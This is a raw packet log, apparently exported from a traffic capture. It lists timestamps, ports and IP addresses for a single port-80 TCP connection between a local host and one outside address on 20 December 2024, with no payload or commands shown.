Dec 20, 2024 16:53:36.128052950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.128063917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.128071070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.128113985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.128638983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.128650904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.128664017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.128670931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.128730059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.129292011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.129303932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.129362106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.167437077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.167452097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.167495966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.167510986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.167694092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.167707920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.167720079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.167757034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.167774916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.168203115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168214083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168267965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.168457031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168469906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168519974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.168797970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168811083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168829918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168845892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168854952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.168857098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.168884993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.169569016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.169624090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.169625998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.169637918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.169651031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.169672012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.170233965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170245886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170260906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170274973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170296907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.170334101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.170753002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170809031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.170815945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170830011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170841932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170849085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.170934916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.171802044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.171816111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.171828032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.171843052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.171855927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.171866894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.171866894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.171897888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.171926975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.172699928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.172770977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.172784090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.172796965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.172811031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.172822952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.172830105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.172864914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.172918081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.173748016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.173763037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.173777103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.173789978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.173801899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.173815966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.173818111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.173846006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.173861027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.174767971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.174787045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.174799919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.174813032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.174825907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.174839020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.174844027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.174885988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.175669909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.175683975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.175694942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.175708055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.175720930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.175734997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.175770044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.175795078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.176583052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.176654100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.176667929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.176677942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.176686049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.176697016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.176706076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.176731110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.176759958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.177628040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.177640915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.177654982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.177670002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.177681923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.177683115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.177725077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.178739071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.178755999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.178769112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.178792000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.178805113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.248091936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248159885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248173952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248217106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.248552084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248564959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248578072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248590946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.248595953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.248637915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.249197960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249211073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249222040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249228001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249241114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249284983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.249284983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.249902010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249924898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249938965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.249983072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.250358105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.250370979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.250384092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.250396967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.250408888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.250435114 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.250447989 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.251286030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.251298904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.251353979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.318419933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.318456888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.318471909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.318509102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.318800926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.318814039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.318845034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.319139957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.319153070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.319200039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.319200993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.319211960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.319226027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.319276094 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.320014954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320034981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320071936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320082903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.320085049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320135117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.320594072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320606947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320621014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320673943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320679903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.320692062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.320709944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.321583033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.321595907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.321650982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.359529972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.359576941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.359590054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.359636068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.359672070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.359966993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.359978914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.359992981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.360006094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.360025883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.360064030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.360893965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.360908031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.360922098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.360934973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.360953093 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.361088037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.361334085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361346960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361358881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361464977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.361741066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361790895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.361807108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361821890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361834049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361845970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361859083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.361874104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.361895084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.362793922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.362807989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.362819910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.362833977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.362845898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.362858057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.362932920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.362934113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.363663912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363743067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363755941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363766909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363780022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363790989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363802910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.363826036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.363826036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.363879919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.364727020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.364741087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.364753962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.364767075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.364778996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.364797115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.364816904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.365706921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365720987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365731955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365750074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365761995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365775108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365786076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.365803003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.365803003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.365861893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.365861893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.366619110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.366700888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.366714001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.366724968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.366738081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.366750002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.366766930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.366835117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.367660999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.367674112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.367686033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.367700100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.367712975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.367736101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.367780924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.368551016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368563890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368573904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368586063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368597984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368612051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368619919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.368619919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.368632078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.368676901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.368676901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.369467020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.369515896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.369529009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.369541883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.369556904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.369586945 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.369699001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.370508909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.370524883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.370537043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.370549917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.370558977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.370558977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.370642900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.370642900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.440469980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.440498114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.440648079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.440673113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.440905094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.440918922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.440993071 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.441114902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.441175938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.441307068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.441320896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.441421032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.441694975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.441704988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.441716909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.441760063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.442065001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442078114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442091942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442106009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442110062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.442118883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442188025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.442188025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.442816973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442831039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442858934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442909002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442914963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.442934990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.442969084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.443685055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.443696976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.443852901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.510713100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.510771990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.510786057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.510898113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.510966063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.510979891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511010885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511023998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511029959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.511070013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.511620998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511656046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511667013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.511668921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511682034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.511732101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.512402058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.512415886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.512427092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.512439013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.512459040 CET	49739	80	192.168.2.5	185.215.113.16
